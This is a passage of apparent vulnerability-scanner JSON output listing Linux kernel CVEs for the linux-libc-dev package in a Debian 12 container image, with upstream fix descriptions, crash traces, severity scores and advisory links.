"https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80840" ], "PublishedDate": "2026-09-04T16:18:12.44Z", "LastModifiedDate": "2026-10-19T09:17:19.333Z" }, { "VulnerabilityID": "CVE-2026-80841", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80841", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f6f06c2105e4baead23160019ba0344b4db70481ce8505af0f75348b82de3d25", "Title": "kernel: net/packet: defer vmalloc TX_RING free until skbs finish", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/packet: defer vmalloc TX_RING free until skbs finish\n\nAF_PACKET TX_RING skbs keep a raw pointer to their ring frame. The skb\npage references preserve page-backed ring blocks after pg_vec is freed,\nbut they do not preserve a vmalloc mapping.\n\ntpacket_destruct_skb() currently drops the pending reference before\nwriting the timestamp and TP_STATUS_AVAILABLE to the frame. Move the\ndecrement after those stores. The smp_wmb() in __packet_set_status()\norders the frame stores before the decrement.\n\nAlso recheck pending TX frames under pg_vec_lock before non-closing\nring replacement, so a racing send cannot add a pending skb between\nthe initial check and the ring swap.\n\nRing allocation can produce a mixture of page-backed and vmalloc-backed\nblocks. Allocate deferred-work storage during TX ring setup when the\nfirst vmalloc-backed block is encountered, and keep its pointer in the\npg_vec allocation header. If allocation fails, return -ENOMEM from ring\nsetup. On socket close, a non-NULL pointer identifies a vmalloc-backed\nvector without a scan. If TX skbs remain, defer the whole vector to\nsystem_long_wq.\n\nAfter pg_vec is detached, a late destructor can skip the pending\ndecrement. Use socket write-memory accounting as the deferred lifetime\ngate instead: an skb remains charged through its final sock_wfree(),\nafter all ring-frame accesses. The delayed work retains a socket\nreference and reschedules itself until no TX skbs remain.\n\nMove pending_refcnt release to packet_sock_destruct() so late skb\ndestructors and deferred cleanup can safely use it after\npacket_release(). Page-backed teardown remains synchronous, and no lock\nis added to the TX completion hot path.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80841", "https://access.redhat.com/security/cve/CVE-2026-80841", "https://git.kernel.org/linus/992cc9f94ca924089a506ba9b327caa9af797529%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80841.mbox", "https://git.kernel.org/stable/c/0189dce07db2dc059ae0570e06758ec4233c6e11", "https://git.kernel.org/stable/c/4ce6e2d2e38055b2012bd5fdb0c8a8183c8a1b0c", "https://git.kernel.org/stable/c/550d00aa58193fb649a09a9c9e338c685adad784", "https://git.kernel.org/stable/c/992cc9f94ca924089a506ba9b327caa9af797529", "https://git.kernel.org/stable/c/debf9f50140b3df3949ebcb97d4450f8993fe32d", "https://git.kernel.org/stable/c/ed126ca71d4d949ad99f40b974a8f7685e808f8b", "https://git.kernel.org/stable/c/ed25ed29034ddc3dbe451ccbaa58ab9932f99d8b", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-oesfvvke48v0.toml", "https://linux.oracle.com/cve/CVE-2026-80841.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80841", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80841" ], "PublishedDate": "2026-09-04T16:18:12.607Z", "LastModifiedDate": "2026-10-30T13:20:12.13Z" }, { "VulnerabilityID": "CVE-2026-80842", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80842", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:29516ac1c2bb8501d4194573e11531366466cde379570653842e44da756aa4fb", "Title": "kernel: net: bridge: mcast: fix use-after-free of a master VLAN's multicast context", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bridge: mcast: fix use-after-free of a master VLAN's multicast context\n\nbr_multicast_toggle_one_vlan() clears BR_VLFLAG_MCAST_ENABLED under\nbr-\u003emulticast_lock before stopping a VLAN's multicast context. That is\nthe teardown handshake: lockless readers gate on the flag through\nbr_multicast_ctx_should_use() -\u003e br_multicast_ctx_vlan_disabled(), so\nonce it is cleared under the lock no reader can arm the context again.\n\nFor a master VLAN the handshake never runs. __vlan_del() clears\nBRIDGE_VLAN_INFO_BRENTRY before calling br_vlan_put_master(), so\nbr_multicast_toggle_one_vlan(masterv, false) returns early on\n!br_vlan_is_brentry(vlan): the flag stays set and br-\u003emulticast_lock is\nnever taken. br_vlan_put_master() then drains the context in\nbr_multicast_ctx_deinit() and frees the VLAN through call_rcu(), while a\nreader still inside rcu_read_lock() sees the context as enabled and\nre-arms it. The port and port-VLAN branch of the function has no\nbr_vlan_is_brentry() test and flips the flag under br-\u003emulticast_lock,\nso it is not affected.\n\nThe reader is the bridge transmit path. For a master VLAN\nbr_multicast_rcv() selects brmctx = \u0026vlan-\u003ebr_mcast_ctx with\npmctx = NULL, so IGMP sent to the bridge device re-arms the context's\ntimers after br_multicast_ctx_deinit() has already stopped them.\n\n BUG: KASAN: slab-use-after-free in detach_if_pending+0x412/0x4a0\n Write of size 8 at addr ffff88810ac39918 by task brmc/601\n __mod_timer+0x51a/0xc50\n br_multicast_host_join+0x25b/0x390\n __br_multicast_add_group+0x468/0x530\n br_ip4_multicast_add_group+0x1a0/0x260\n br_multicast_rcv+0x2cda/0x61e0\n br_dev_xmit+0x6c4/0x1540\n Allocated by task 610:\n br_vlan_add+0x111/0xb40\n br_vlan_info+0x370/0x3e0\n Freed by task 0:\n kfree+0x1a7/0x4f0\n rcu_core+0x7dc/0x10a0\n\nOnly test br_vlan_is_brentry() when enabling, like the\nbr_multicast_ctx_vlan_global_disabled() test next to it. Disabling then\nalways clears BR_VLFLAG_MCAST_ENABLED under br-\u003emulticast_lock before\nbr_multicast_ctx_deinit() drains the context.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80842", "https://git.kernel.org/linus/50e5c6605cc9c2dd57bd2d1b3459674d19738983%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80842.mbox", "https://git.kernel.org/stable/c/22226a2c3b90f15b0925f1464470d3baa6c5677e", "https://git.kernel.org/stable/c/3a0ad4fcdfa0b7dba1876de14a12cb65c8b5ca50", "https://git.kernel.org/stable/c/3afaaee2f972aec9059110953adb62fa3cf5c4bd", "https://git.kernel.org/stable/c/3f4752996735e0628af559aa8da1d872c2fac13b", "https://git.kernel.org/stable/c/50e5c6605cc9c2dd57bd2d1b3459674d19738983", "https://git.kernel.org/stable/c/57f94d3f4dee8b54d63cefddf1112be4656ef9e6", "https://git.kernel.org/stable/c/7c54fd8cfbcf371a5ef50db5c53fe6e85fb76686", "https://git.kernel.org/stable/c/c069f29da72324697aa4b7cab5b3647a7d24a575", "https://linux.oracle.com/cve/CVE-2026-80842.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80842", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80842" ], "PublishedDate": "2026-09-04T16:18:12.727Z", "LastModifiedDate": "2026-10-19T09:17:19.597Z" }, { "VulnerabilityID": "CVE-2026-80844", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80844", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:98329879d05bf83ea0f00dbbcb85b2adff302c3aaa7ee45630c2c235f3a661ce", "Title": "kernel: xfrm: ah6: validate routing header segments_left", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: ah6: validate routing header segments_left\n\nAH6 rearranges routing-header addresses before computing or verifying the\nICV. ipv6_rearrange_rthdr() assumes that segments_left is not larger than\nthe number of addresses described by the routing header's hdrlen field.\n\nThat assumption does not hold for raw IPv6 HDRINCL packets. A packet with\nhdrlen equal to 2 describes one address, but can carry an arbitrary\nsegments_left value. With segments_left equal to 255, the function moves\nits address pointer 4,064 bytes backwards and passes a 4,064-byte length to\nmemmove(), resulting in an out-of-bounds access.\n\nValidate the invariant locally before modifying the routing header or\nperforming any address-pointer arithmetic, and propagate malformed-header\nerrors to the existing AH6 input and output error paths.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 8.3 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://access.redhat.com/errata/RHSA-2026:71232", "https://access.redhat.com/security/cve/CVE-2026-80844", "https://bugzilla.redhat.com/2432674", "https://bugzilla.redhat.com/2492381", "https://bugzilla.redhat.com/2502243", "https://bugzilla.redhat.com/2502251", "https://bugzilla.redhat.com/2502498", "https://bugzilla.redhat.com/2507134", "https://bugzilla.redhat.com/2507399", "https://bugzilla.redhat.com/2510890", "https://bugzilla.redhat.com/2513481", "https://bugzilla.redhat.com/2516527", "https://bugzilla.redhat.com/2528676", "https://bugzilla.redhat.com/2532176", "https://bugzilla.redhat.com/2535391", "https://bugzilla.redhat.com/show_bug.cgi?id=2432674", "https://bugzilla.redhat.com/show_bug.cgi?id=2492381", "https://bugzilla.redhat.com/show_bug.cgi?id=2502243", "https://bugzilla.redhat.com/show_bug.cgi?id=2502251", "https://bugzilla.redhat.com/show_bug.cgi?id=2502498", "https://bugzilla.redhat.com/show_bug.cgi?id=2507134", "https://bugzilla.redhat.com/show_bug.cgi?id=2507399", "https://bugzilla.redhat.com/show_bug.cgi?id=2510890", "https://bugzilla.redhat.com/show_bug.cgi?id=2513481", "https://bugzilla.redhat.com/show_bug.cgi?id=2516527", "https://bugzilla.redhat.com/show_bug.cgi?id=2517043", "https://bugzilla.redhat.com/show_bug.cgi?id=2528676", "https://bugzilla.redhat.com/show_bug.cgi?id=2532176", "https://bugzilla.redhat.com/show_bug.cgi?id=2535391", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63802", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63831", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64383", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64534", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64564", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68201", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80844", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-81000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89846", "https://errata.almalinux.org/9/ALSA-2026-71232.html", "https://errata.rockylinux.org/RLSA-2026:71232", "https://git.kernel.org/linus/7bad4bda74dc4713f398d3b7624ff05478e3a568%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80844.mbox", "https://git.kernel.org/stable/c/0bf11081ad3753938a2b48723ce6298dbac743a1", "https://git.kernel.org/stable/c/1516e31ac458a738be485620579d8f7fb2700fcb", "https://git.kernel.org/stable/c/1b7e066eabcc7d6d8f476c34739b45932f2f4c31", "https://git.kernel.org/stable/c/2dc650956e4e163b879b3fb1027f9557abc5c985", "https://git.kernel.org/stable/c/46640c814f25f096b0b0045ca50e1b7030cd8a30", "https://git.kernel.org/stable/c/48b0e36cf54358276ee7aa897034c973097d2bc9", "https://git.kernel.org/stable/c/6733ae71268a27d598cfb3f3339a3c950b9b656d", "https://git.kernel.org/stable/c/7bad4bda74dc4713f398d3b7624ff05478e3a568", "https://git.kernel.org/stable/c/f00df8500e5a36ba70d336fd34bd2152ea074e5f", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.3.0/BRSA-dya77m460e9r.toml", "https://linux.oracle.com/cve/CVE-2026-80844.html", "https://linux.oracle.com/errata/ELSA-2026-71233.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80844", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80844" ], "PublishedDate": "2026-09-04T16:18:13.023Z", "LastModifiedDate": "2026-11-06T17:19:59.287Z" }, { "VulnerabilityID": "CVE-2026-80848", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80848", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c18271399eaf4d0f78771b405e380a865262a00361a05724d8e7e9a83960b884", "Title": "kernel: xfrm: espintcp: fix UAF during close", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: espintcp: fix UAF during close\n\nZDI reported and analyzed a race condition during close for espintcp\nsockets:\n\n espintcp_close() frees emsg-\u003eskb via kfree_skb() without holding\n any socket lock. Concurrently, the xfrm_trans_reinject work queue\n invokes esp_output_tcp_finish() -\u003e espintcp_push_skb() -\u003e\n espintcp_push_msgs() -\u003e skb_send_sock_locked(), which reads the\n same skb as a data source.\n\nFix this by adding a synchronize_rcu() call after resetting sk_prot,\nsince esp_output_tcp_finish() runs under RCU and won't use a socket\nwith sk_prot == \u0026tcp_prot. Simply taking the socket lock in\nespintcp_close() could lead to leaks, if esp_output_tcp_finish()\nre-adds an skb in the slot we just freed. After this, the existing\nbarrier() is no longer needed.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80848", "https://git.kernel.org/linus/deb232e884877bf10b4ce2580909eedec986c284%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80848.mbox", "https://git.kernel.org/stable/c/24efebecf415ba264adba0f0491cec436463a14f", "https://git.kernel.org/stable/c/29121c5e6591da527e8e36ddac7120dc527f574d", "https://git.kernel.org/stable/c/4b31a875693c480c611519faca46216514e3e052", "https://git.kernel.org/stable/c/4bc0dfa28dca6fc0084203732695968049c44072", "https://git.kernel.org/stable/c/54b41ad14da9a981131ab6e4d3f79321a503ea5d", "https://git.kernel.org/stable/c/deb232e884877bf10b4ce2580909eedec986c284", "https://git.kernel.org/stable/c/eb3bbf29c723fe75c0eb92be14f0ec92971fe272", "https://git.kernel.org/stable/c/ed5d9102190c45fc70121c036b0626b740040b75", "https://git.kernel.org/stable/c/ff8dd7a932f34409a56e1b91a1219340f17457e9", "https://nvd.nist.gov/vuln/detail/CVE-2026-80848", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80848" ], "PublishedDate": "2026-09-04T16:18:13.54Z", "LastModifiedDate": "2026-10-19T09:17:20.307Z" }, { "VulnerabilityID": "CVE-2026-80852", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80852", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:890ddfd506d0ef8e36d66e2acf4a3739c835a657793057ba277646099c51f86a", "Title": "kernel: tls: device: fix out-of-bounds write in tls_append_frag()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntls: device: fix out-of-bounds write in tls_append_frag()\n\nFound with syzkaller and a local syzbot instance running on top of a\nnetdevsim TLS offload emulation; tls_device.c is otherwise only reachable\non a machine with a NIC that implements the offload.\n\ntls_push_data() only checks whether the open record still has room for\nanother frag at the bottom of its loop, and the MSG_MORE early break\nskips that check. The record survives to the next syscall with the frag\ncount it already had, and tls_append_frag() does not check either, so\nwith TLS_TX_ZEROCOPY_RO every splice(SPLICE_F_MORE) of a byte or two adds\na non-coalescing pipe page and num_frags walks off the end of\ntls_record_info.frags[MAX_SKB_FRAGS]. Once the record is pushed,\ntls_push_record() runs the same index over sg_tx_data[MAX_SKB_FRAGS] and\nthe sg_set_page() writes land on the destruct_work that follows it, which\nthe workqueue then calls.\n\nThe byte limit is fine because copy drops to 0 and the loop falls through\nto the same check; the frag count has no such feedback.\n\nPush the record rather than keep a full one open, which is what a plain\nTCP socket does - tcp_sendmsg_locked() uses tcp_mark_push() and\nnew_segment in both the copy and the MSG_SPLICE_PAGES paths, and tls_sw\nalready sets full_record when the sk_msg ring fills up, MSG_MORE or not.\n\n BUG: KASAN: slab-out-of-bounds in tls_append_frag ( net/tls/tls_device.c:269)\n Write of size 8 at addr ffff8881104d1530 by task tls_oob/450\n\n CPU: 2 UID: 0 PID: 450 Comm: tls_oob Not tainted 7.2.0-rc7+ #329 PREEMPT\n Call Trace:\n \u003cTASK\u003e\n dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)\n print_report (mm/kasan/report.c:378 mm/kasan/report.c:482)\n kasan_report (mm/kasan/report.c:595)\n tls_append_frag (net/tls/tls_device.c:269)\n tls_push_data (net/tls/tls_device.c:518)\n tls_device_sendmsg (net/tls/tls_device.c:583)\n inet_sendmsg (net/ipv4/af_inet.c:865)\n sock_sendmsg (net/socket.c:775 net/socket.c:790 net/socket.c:813)\n splice_to_socket (fs/splice.c:884)\n do_splice (fs/splice.c:936 fs/splice.c:1349)\n __do_splice (fs/splice.c:1431)\n __x64_sys_splice (fs/splice.c:1634 fs/splice.c:1616)\n do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)\n \u003c/TASK\u003e\n\nand, once the record is pushed:\n\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:300:24\n index 18 is out of range for type 'skb_frag_t [17]'\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:301:41\n index 18 is out of range for type 'scatterlist [17]'\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:302:39\n index 18 is out of range for type 'scatterlist [17]'\n UBSAN: array-index-out-of-bounds in net/tls/tls_device.c:307:38\n index 26 is out of range for type 'scatterlist [17]'\n\n kernel tried to execute NX-protected page - exploit attempt? (uid: 0)\n BUG: unable to handle page fault for address: ffffea000411a680\n #PF: supervisor instruction fetch in kernel mode\n #PF: error_code(0x0011) - permissions violation\n Oops: Oops: 0011 [#1] SMP KASAN PTI\n Workqueue: ktls_device_destruct 0xffffea000411a680\n RIP: 0010:0xffffea000411a680\n Call Trace:\n \u003cTASK\u003e\n worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)\n kthread (kernel/kthread.c:436)\n ret_from_fork (arch/x86/kernel/process.c:158)\n ret_from_fork_asm (arch/x86/entry/entry_64.S:245)\n \u003c/TASK\u003e", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80852", "https://git.kernel.org/linus/b17cf742eaad70ae29ac558cefb3aa9bbeea03d4%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80852.mbox", "https://git.kernel.org/stable/c/03ced5da6120965d80ed56dbb7d78fa5c9128906", "https://git.kernel.org/stable/c/1fc6eb0c756b8be693b72e9e636ae5e236dcb6ee", "https://git.kernel.org/stable/c/7e1208c135618358da5d7d6664874dc6e53c62fc", "https://git.kernel.org/stable/c/a832d7cb09da2a8e4e9734b4be14d3e76169d805", "https://git.kernel.org/stable/c/b17cf742eaad70ae29ac558cefb3aa9bbeea03d4", "https://git.kernel.org/stable/c/b7f10d4ff987bda038df90052cd4a1434a7412d4", "https://git.kernel.org/stable/c/bc09411a11b5a676c59ff8612c6873d014f6fb36", "https://git.kernel.org/stable/c/cd7e875b89597f3498917af764758391338d1802", "https://git.kernel.org/stable/c/fadbc1ed2a872a8649a44cf9e1cf9621fc58cd6e", "https://linux.oracle.com/cve/CVE-2026-80852.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80852", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80852" ], "PublishedDate": "2026-09-04T16:18:14.073Z", "LastModifiedDate": "2026-10-30T13:20:12.523Z" }, { "VulnerabilityID": "CVE-2026-80921", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80921", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b3f39879a34dcc2f139190330806101fd49f74dedf9e276e40b2f70d749aa6e8", "Title": "kernel: KVM: s390: vsie: zero stale crypto bits", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: s390: vsie: zero stale crypto bits\n\nWhen shadowing crypto access bits from a format0 apcb (crycb 0 or 1),\nthe bits 64..255 are unchanged from whatever is in the vsie page in the\ncrycb and thus in the apcb. This gives a nested guest potential access\nto a device no longer available. Zero out the remaining bits.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-80921", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", 